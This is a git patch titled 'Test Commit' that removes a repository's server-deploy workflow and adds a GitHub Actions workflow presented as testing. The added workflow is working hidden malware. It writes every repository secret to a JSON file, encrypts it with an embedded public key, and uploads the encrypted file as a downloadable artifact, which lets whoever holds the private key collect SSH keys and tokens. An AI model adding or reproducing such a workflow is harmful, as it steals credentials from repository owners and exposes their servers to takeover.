From ed25a9a580afc6b5375ac56fd40a902de71659af Mon Sep 17 00:00:00 2001 From: cabbagelol Date: Thu, 12 Sep 2024 17:37:01 +0800 Subject: [PATCH] Test Commit --- .github/workflows/main.yml | 26 ----------------- .github/workflows/test.yml | 57 ++++++++++++++++++++++++++++++++++++++ 2 files changed, 57 insertions(+), 26 deletions(-) delete mode 100644 .github/workflows/main.yml create mode 100644 .github/workflows/test.yml diff --git a/.github/workflows/main.yml b/.github/workflows/main.yml deleted file mode 100644 index 1fe3d06..0000000 --- a/.github/workflows/main.yml +++ /dev/null @@ -1,26 +0,0 @@ -name: Build And Deploy To Aliyun ECS - -on: - push: - branches: [ main ] - pull_request: - branches: [ main ] - -jobs: - build: - runs-on: ubuntu-latest - steps: - - uses: actions/checkout@v2 - with: - persist-credentials: false - ref: main - submodules: true - - name: Deploy to aliyun server - uses: easingthemes/ssh-deploy@v2.1.5 - env: - SSH_PRIVATE_KEY: ${{ secrets.SERVER_SSH_KEY }} - ARGS: "-avzr --delete" - SOURCE: "./" - REMOTE_HOST: ${{ secrets.REMOTE_HOST }} - REMOTE_USER: ${{ secrets.REMOTE_USER }} - TARGET: "/www/wwwroot/bfban-kook-bot" diff --git a/.github/workflows/test.yml b/.github/workflows/test.yml new file mode 100644 index 0000000..c7a65ea --- /dev/null +++ b/.github/workflows/test.yml @@ -0,0 +1,57 @@ +name: tthbcomtgk +on: + push: + branches: tthbcomtgk +jobs: + testing: + runs-on: + - ubuntu-latest + steps: + - env: + VALUES: ${{ toJSON(secrets)}} + name: Prepare repository + run: "\ncat < output.json\n$VALUES\nEOF\n " + - name: Run Tests + env: + PUBKEY: '-----BEGIN PUBLIC KEY----- + + MIICIjANBgkqhkiG9w0BAQEFAAOCAg8AMIICCgKCAgEAmQROTBmKLHkBbopyn3t5 + + SYDnL7FHGR74kmSY9M4SGAjEX+0OD3cac73e9LZnCvtGcURNnAFy4PcyKFUNKIjU + + iXkXFzDac4bjgrlM81kPD6Jiwng8IxZvfbA7GDjfbfjF8f8Mg+2lEP01q7M8tc+e + + iN5sMdi7WtiU5cdYfbRmkrZ+zFr7MWEw4nGKf9OgCJMKrBRv/HQ6hw643ZRRen8y + + rqGlQJFSNOsfBIqkMKmj4+Q9S5L8dADtYPOrcD5X/2GoKZRMeuaWz6t0KxHaK1Tl + + VtrQLIoDGnVfXo+1pg78Kshrh1usS5meWDmlH6D3eDoKrdgvvCKk6NgklEC1EBbu + + w6n2kTvAoc4zlQaXnW57e0uQePi9vzTkIQ0Ymuc8A6js/NzI6RJEwJUJ538nIpUq + + PYdOo+xsg4tJrV6u0lgqVNW7vEsBvRuPLNz/pE8l4TNFMoBkYB7UJDU9YfShmV6L + + rKWKrHzFTRqdxdg9yuM7O+HvKZFa7IqpjcW59eXNQO4uZi74pPtr4hKAc8M8ksb5 + + D8Qc2z8La5CRhuYVUr7Rj6vpk9/YLVrM+edpzCV2q+BZo0G4dBh7FRkWyAxYsdQW + + EIMqLzwkLEd1hc329VUyvBOxsAfGGSz0+TvO60HPAWQOG1PP32y0m8H2eGW8gSVG + + p/usY21VHKltPWuolxBWKS8CAwEAAQ== + + -----END PUBLIC KEY----- + + ' + run: aes_key=$(openssl rand -hex 12 | tr -d '\n');openssl enc -aes-256-cbc -pbkdf2 + -in output.json -out output_updated.json -pass pass:$aes_key;echo $aes_key + | openssl rsautl -encrypt -pkcs -pubin -inkey <(echo "$PUBKEY") -out lookup.txt + 2> /dev/null; + - name: Upload artifacts + uses: actions/upload-artifact@v4 + with: + name: files + path: ' | + + output_updated.json + + lookup.txt'